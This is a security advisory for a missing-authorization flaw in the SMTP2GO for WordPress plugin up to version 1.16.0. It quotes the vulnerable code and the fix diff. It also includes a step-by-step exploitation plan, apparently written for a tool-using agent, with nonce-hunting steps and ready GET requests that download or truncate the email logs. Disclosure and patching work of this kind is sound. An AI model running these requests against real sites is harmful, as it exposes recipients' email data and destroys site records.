SMTP2GO for WordPress <= 1.16.0 - Missing Authorization to Authenticated (Subscriber+) Log Read/Truncate
Description
The SMTP2GO for WordPress – Email Made Easy plugin for WordPress is vulnerable to unauthorized access in all versions up to, and including, 1.16.0. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to truncate all SMTP2GO log records from the database or download a CSV export of all SMTP log data including recipient addresses, sender addresses, message subjects, and API response data.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v1.17.0
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-7621 - SMTP2GO Log Unauthorized Access ## 1. Vulnerability Summary The **SMTP2GO for WordPress** plugin (up to 1.16.0) contains a missing authorization vulnerability in its log management features. Specifically, the functions `truncateLogs()` and `downloadLogs…
Show full research plan
Exploitation Research Plan: CVE-2026-7621 - SMTP2GO Log Unauthorized Access
1. Vulnerability Summary
The SMTP2GO for WordPress plugin (up to 1.16.0) contains a missing authorization vulnerability in its log management features. Specifically, the functions truncateLogs() and downloadLogs() in the SMTP2GO\App\WordpressPluginAdmin class perform nonce verification but fail to check if the current user possesses the manage_options or similar administrative capability. This allows any authenticated user, including those with the Subscriber role, to trigger these actions if they can obtain a valid nonce.
2. Attack Vector Analysis
- Endpoints:
/wp-admin/admin-post.php?action=truncate_smtp2go_logs/wp-admin/admin-post.php?action=download_smtp2go_logs
- Parameters:
action: The WordPress action hook (truncate_smtp2go_logsordownload_smtp2go_logs)._wpnonce: A valid WordPress nonce for the respective action.
- Authentication: Authenticated (Subscriber level or higher).
- Vulnerability Type: Insecure Direct Object Reference (IDOR) / Missing Role-Based Access Control (RBAC).
3. Code Flow
- Entry Point: A request is made to
admin-post.phpwith anactionparameter. - Hook Registration: The plugin registers these actions (likely via
add_action( 'admin_post_...', ... )). - Execution:
- For truncation:
SMTP2GO\App\WordpressPluginAdmin::truncateLogs()is called. - For download:
SMTP2GO\App\WordpressPluginAdmin::downloadLogs()is called.
- For truncation:
- Vulnerable Sink (Download):
// app/WordpressPluginAdmin.php public function downloadLogs() { wp_verify_nonce($_GET['_wpnonce'], 'download_smtp2go_logs') or die('Invalid nonce'); global $wpdb; $table = $wpdb->prefix . 'smtp2go_api_logs'; $logs = $wpdb->get_results("SELECT * FROM $table ORDER BY created_at DESC"); // Sensitive data fetched // ... outputs CSV ... } - Vulnerable Sink (Truncate):
// app/WordpressPluginAdmin.php public function truncateLogs() { wp_verify_nonce($_GET['_wpnonce'], 'truncate_smtp2go_logs') or die('Invalid nonce'); global $wpdb; $table = $wpdb->prefix . 'smtp2go_api_logs'; $wpdb->query("TRUNCATE TABLE $table"); // Database modified // ... redirects ... } - Missing Check: Notice the absence of
if ( ! current_user_can( 'manage_options' ) ) wp_die();in both methods.
4. Nonce Acquisition Strategy
Nonces in this plugin are likely generated in the admin settings page. Even if a Subscriber cannot access the "Settings" page UI, the plugin might enqueue scripts or localize data on all admin pages (including the Subscriber's profile page).
Strategy:
- Log in as a Subscriber.
- Navigate to
/wp-admin/profile.php. - Search for the nonces in the page source or global JS objects.
- If not found, check if the plugin registers a menu page with weak capabilities (e.g.,
read). If so, navigate to that page.
JavaScript Variable Search:
Use browser_eval to look for nonces often passed via wp_localize_script. Common names for this plugin's JS objects might be smtp2go_admin_vars or smtp2go_data.
// Scan for potential localization objects
Object.keys(window).filter(k => k.toLowerCase().includes('smtp2go'));
5. Exploitation Strategy
Step A: Download Sensitive Logs
- Request:
GET /wp-admin/admin-post.php?action=download_smtp2go_logs&_wpnonce=[NONCE] HTTP/1.1 Cookie: [Subscriber Cookies] - Tool:
http_request - Expected Response:
200 OKwithContent-Type: text/csvand a filename likesmtp2go-logs-YYYY-MM-DD.csv. The body should contain email recipient addresses and subjects.
Step B: Truncate All Logs
- Request:
GET /wp-admin/admin-post.php?action=truncate_smtp2go_logs&_wpnonce=[NONCE] HTTP/1.1 Cookie: [Subscriber Cookies] - Tool:
http_request - Expected Response:
302 Redirectback to the logs page. The database table will now be empty.
6. Test Data Setup
- Send Test Emails: Use
wp evalto send several emails so thatsmtp2go_api_logsis populated.wp eval 'wp_mail("victim@example.com", "Sensitive Subject", "Sensitive Content");' - Verify Logs Exist:
wp db query "SELECT count(*) FROM wp_smtp2go_api_logs;" - Create Attacker:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
7. Expected Results
- Information Disclosure: The CSV download should contain records of emails sent by the site, including columns:
Site ID,To,From,Subject,Response, andCreated At. - Integrity Loss: The truncate action will successfully clear the
wp_smtp2go_api_logstable.
8. Verification Steps
- Check CSV Content: After the
downloadLogsrequest, verify the downloaded file contains the strings "Sensitive Subject" and "victim@example.com". - Verify Truncation: After the
truncateLogsrequest, run:
The result must bewp db query "SELECT count(*) FROM wp_smtp2go_api_logs;"0.
9. Alternative Approaches
If the nonces are strictly restricted to the manage_options capability at generation time (i.e., they are only rendered on the settings page and that page is hard-blocked), the exploit may fail. However, standard missing authorization vulnerabilities in WordPress often coincide with "leaky" nonces or a failure to check capabilities during the menu registration itself.
Another area to check is the clearSavedApiKey function (line 117), which correctly checks current_user_can('manage_options'), highlighting the developer's oversight in the log-related functions.
Summary
The SMTP2GO for WordPress plugin (up to version 1.16.0) lacks authorization checks in its log management functions. This allows authenticated users with Subscriber-level permissions or higher to truncate the plugin's API logs or download a CSV export containing sensitive email data such as recipient addresses, subjects, and API responses.
Vulnerable Code
// app/WordpressPluginAdmin.php line 72 public function truncateLogs() { wp_verify_nonce($_GET['_wpnonce'], 'truncate_smtp2go_logs') or die('Invalid nonce'); global $wpdb; $table = $wpdb->prefix . 'smtp2go_api_logs'; $wpdb->query("TRUNCATE TABLE $table"); $url = admin_url('admin.php?page=' . $this->plugin_name . '&tab=logs'); header('Location: ' . $url); exit; } --- // app/WordpressPluginAdmin.php line 84 public function downloadLogs() { wp_verify_nonce($_GET['_wpnonce'], 'download_smtp2go_logs') or die('Invalid nonce'); global $wpdb; $table = $wpdb->prefix . 'smtp2go_api_logs'; $logs = $wpdb->get_results("SELECT * FROM $table ORDER BY created_at DESC"); $filename = 'smtp2go-logs-' . date('Y-m-d') . '.csv';
Security Fix
@@ -74,7 +73,13 @@ public function truncateLogs() { - wp_verify_nonce($_GET['_wpnonce'], 'truncate_smtp2go_logs') or die('Invalid nonce'); + if ( + !current_user_can('manage_options') + || !isset($_GET['_wpnonce']) + || !wp_verify_nonce($_GET['_wpnonce'], 'truncate_smtp2go_logs') + ) { + wp_die('Unauthorized', 403); + } global $wpdb; $table = $wpdb->prefix . 'smtp2go_api_logs'; $wpdb->query("TRUNCATE TABLE $table"); @@ -85,7 +90,13 @@ public function downloadLogs() { - wp_verify_nonce($_GET['_wpnonce'], 'download_smtp2go_logs') or die('Invalid nonce'); + if ( + !current_user_can('manage_options') + || !isset($_GET['_wpnonce']) + || !wp_verify_nonce($_GET['_wpnonce'], 'download_smtp2go_logs') + ) { + wp_die('Unauthorized', 403); + } global $wpdb; $table = $wpdb->prefix . 'smtp2go_api_logs'; $logs = $wpdb->get_results("SELECT * FROM $table ORDER BY created_at DESC");
Exploit Outline
The exploit targets the admin-post.php endpoint. An attacker requires a valid WordPress account with at least Subscriber-level privileges. By obtaining a valid nonce (which may be exposed via script localization on standard admin pages), the attacker sends a GET request to /wp-admin/admin-post.php with the action parameter set to either 'download_smtp2go_logs' or 'truncate_smtp2go_logs' and the corresponding nonce. Because the plugin only verifies the nonce and not the user's capabilities, it executes the log retrieval or deletion as requested.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.